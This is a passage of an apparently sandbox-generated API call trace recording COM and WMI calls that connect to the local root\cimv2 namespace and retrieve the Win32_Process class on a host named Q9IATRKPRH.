WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0063.656] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.656] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0063.656] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0063.656] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0063.656] IUnknown:Release (This=0x111f638) returned 0x1 [0063.658] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf2af40) returned 0x0 [0063.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2af40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0063.659] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2af40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x119c260) returned 0x0 [0063.659] WbemDefPath:IUnknown:Release (This=0x1bf2af40) returned 0x0 [0063.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x119c260) returned 0x0 [0063.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0063.659] WbemDefPath:IUnknown:AddRef (This=0x119c260) returned 0x3 [0063.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0063.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0063.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf2af80) returned 0x0 [0063.659] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2af80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.659] WbemDefPath:IUnknown:Release (This=0x1bf2af80) returned 0x3 [0063.660] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0063.660] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0063.660] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0063.660] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x2 [0063.660] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x1 [0063.660] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0063.660] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0063.660] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c260, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x119c260) returned 0x0 [0063.660] WbemDefPath:IUnknown:AddRef (This=0x119c260) returned 0x3 [0063.660] WbemDefPath:IUnknown:Release (This=0x119c260) returned 0x2 [0063.660] WbemDefPath:IWbemPath:SetText (This=0x119c260, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0063.660] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0063.660] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0063.660] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.660] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0063.660] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0063.660] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0063.660] IUnknown:Release (This=0x111f638) returned 0x1 [0063.661] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf2b080) returned 0x0 [0063.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b080, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0063.662] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf2b080, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf2b0a0) returned 0x0 [0063.662] WbemLocator:IUnknown:Release (This=0x1bf2b080) returned 0x0 [0063.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf2b0a0) returned 0x0 [0063.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0063.662] WbemLocator:IUnknown:AddRef (This=0x1bf2b0a0) returned 0x3 [0063.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0063.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0063.662] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0063.662] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0063.663] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0063.663] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0063.663] WbemLocator:IUnknown:Release (This=0x1bf2b0a0) returned 0x2 [0063.663] WbemLocator:IUnknown:Release (This=0x1bf2b0a0) returned 0x1 [0063.663] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0063.663] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0063.663] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf2b0a0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf2b0a0) returned 0x0 [0063.663] WbemLocator:IUnknown:AddRef (This=0x1bf2b0a0) returned 0x3 [0063.663] WbemLocator:IUnknown:Release (This=0x1bf2b0a0) returned 0x2 [0063.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0063.663] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0063.663] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.663] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf2b0c0) returned 0x0 [0063.663] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf2b0c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf29370) returned 0x0 [0063.812] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29370, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e07a0) returned 0x0 [0063.812] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e07a0, pProxy=0x1bf29370, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0063.812] WbemLocator:IUnknown:Release (This=0x11e07a0) returned 0x1 [0063.812] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29370, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e07e0) returned 0x0 [0063.812] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29370, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e07a0) returned 0x0 [0063.812] WbemLocator:IClientSecurity:SetBlanket (This=0x11e07a0, pProxy=0x1bf29370, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0063.813] WbemLocator:IUnknown:Release (This=0x11e07a0) returned 0x2 [0063.813] WbemLocator:IUnknown:Release (This=0x11e07e0) returned 0x1 [0063.813] CoTaskMemFree (pv=0x1beee450) [0063.813] WbemLocator:IUnknown:AddRef (This=0x1bf29370) returned 0x2 [0063.813] WbemLocator:IUnknown:Release (This=0x1bf2b0c0) returned 0x0 [0063.813] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0063.814] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0063.814] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29370, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e07b0) returned 0x0 [0063.814] WbemLocator:IRpcOptions:Query (in: This=0x11e07b0, pPrx=0x1bf2b120, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0063.814] WbemLocator:IUnknown:Release (This=0x11e07b0) returned 0x2 [0063.814] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0063.814] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0063.814] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf29370, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf29370) returned 0x0 [0063.814] WbemLocator:IUnknown:Release (This=0x1bf29370) returned 0x2 [0063.814] SysStringLen (param_1=0x0) returned 0x0 [0063.814] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119c260, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0063.814] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0063.814] WbemDefPath:IWbemPath:GetText (in: This=0x119c260, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0063.814] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0063.814] WbemDefPath:IWbemPath:GetText (in: This=0x119bf60, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0063.815] IWbemServices:GetObject (in: This=0x1bf29370, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1bef6990, ppCallResult=0x0) returned 0x0 [0063.818] IWbemClassObject:Get (in: This=0x1bef6990, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0063.818] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0063.818] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0063.818] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0063.818] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0063.818] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0063.818] IUnknown:Release (This=0x111f638) returned 0x1 [0063.821] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf2b0c0) returned 0x0 [0063.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf2b0c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0063.821] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf2b0c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x119c320) returned 0x0 [0063.821] WbemDefPath:IUnknown:Release (This=0x1bf2b0c0) returned 0x0 [0063.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x119c320) returned 0x0 [0063.821] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0063.822] WbemDefPath:IUnknown:AddRef (This=0x119c320) returned 0x3 [0063.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0063.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0063.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf2b0e0) returned 0x0 [0063.822] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf2b0e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0063.822] WbemDefPath:IUnknown:Release (This=0x1bf2b0e0) returned 0x3 [0063.822] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0063.822] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0063.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0063.822] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x2 [0063.822] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x1 [0063.822] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0063.822] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0063.822] WbemDefPath:IUnknown:QueryInterface (in: This=0x119c320, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x119c320) returned 0x0 [0063.823] WbemDefPath:IUnknown:AddRef (This=0x119c320) returned 0x3 [0063.823] WbemDefPath:IUnknown:Release (This=0x119c320) returned 0x2 [0063.823] WbemDefPath:IWbemPath:SetText (This=0x119c320, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0063.823] IWbemClassObject:Get (in: This=0x1bef6990, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, 